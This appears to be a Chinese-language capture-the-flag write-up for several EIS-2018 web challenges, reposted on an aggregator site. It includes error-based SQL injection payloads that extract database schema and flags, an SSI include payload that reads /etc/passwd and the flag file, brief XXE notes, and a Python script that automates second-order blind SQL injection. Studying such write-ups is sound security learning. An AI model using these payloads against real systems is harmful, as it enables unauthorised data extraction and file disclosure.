Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

EIS-2018-web

0
0

随手登录一下


EIS-2018-web

发现报错,于是尝试

admin' and (extractvalue(1,concat(0x7e,database())))#


EIS-2018-web

admin' and (extractvalue(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()))))#


EIS-2018-web

admin' and (extractvalue(1,concat(0x7e,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flag'))))#


EIS-2018-web

admin' and (extractvalue(1,concat(0x7e,(select flag from flag limit 0,1))))#


EIS-2018-web
前半段

'~EIS{7879f0a27d8bcfcff0bcc837d76'

admin' and (extractvalue(1,concat(0x7e,(select substr(flag,30,60) from flag limit 0,1))))#


EIS-2018-web
后半段

~7641e81}

最后flag

EIS{7879f0a27d8bcfcff0bcc837d7641e81}

SimpleServerInjection

题目提示

SimpleServerInjection, SSI, flag in current directory

随即搜索SSI

https://blog.csdn.net/wutianxu123/article/details/82724637

结果这个文章第一个就是payload。。。

<!--#include virtual="/etc/passwd" -->

于是测试

http://210.32.4.22/index.php?name=<!--#include virtual="flag" -->


EIS-2018-web
得到flag

EIS{59f2c02f18838b3fb57dd57e2808f9c2}

SimpleExtensionExplorerInjection

题目提示XXE,直接xxe是不行的


EIS-2018-web

所以需要改type


EIS-2018-web

然后即可xxe读文件,得到flag

SimplePrintEventLogger

直接可以进行列目录


EIS-2018-web

然后得到flag


EIS-2018-web

不知道是不是非预期了?题目提示RCE,还有一个backdoor的路由没用上


EIS-2018-web
SimpleBlog

发现题目提示2次注入


EIS-2018-web

于是尝试注册

sky' sky'#

发现前者分数都是0,后者有分数

那么可以判断,更新分数的时候使用了用户名

但是想要构造一般的bool盲注不行,因为必须sql语句报错

这里想到整数溢出问题

1' and if(1,exp(999999999999),1)#

这样即可使sql语句报错,导致出现

grade 0

而如果使用

1' and if(0,exp(999999999999),1)#

那么分数一切正常,于是可以利用这一点进行注入

编写脚本

import requests def reg(username,password='1'): data = { 'username':username, 'password':password } url = 'http://210.32.4.20/register.php' r = requests.post(url=url,data=data) return r.headers['Set-Cookie'][10:-8] def login(session,username,password='1'): data = { 'username': username, 'password': password } cookie = { 'PHPSESSID':session } url = 'http://210.32.4.20/login.php' r = requests.post(url=url, data=data,cookies=cookie) data = { '10.a':'on' } url = 'http://210.32.4.20/answer.php' r = requests.post(url=url, data=data,cookies=cookie) if 'Your grades is 0' in r.content: return 1 url = 'http://210.32.4.20/logout.php' r = requests.get(url=url,cookies=cookie) return 0 flag = 'EIS{' for i in range(5,1000): for k in 'abcdef0123456789}': j = ord(k) payload='''1' and if((ascii(substr((select flag from flag limit 0,1),%d,1))=%d),exp(999999999999),1)#'''%(i,j) try: session = reg(payload) if login(session,payload): flag+=chr(j) print flag break except: session = reg(payload) if login(session,payload): flag+=chr(j) print flag break
EIS-2018-web

不知道题目提示文件包含是什么意思,可能非预期了?


EIS-2018-web

Viewing all articles
Browse latest Browse all 12749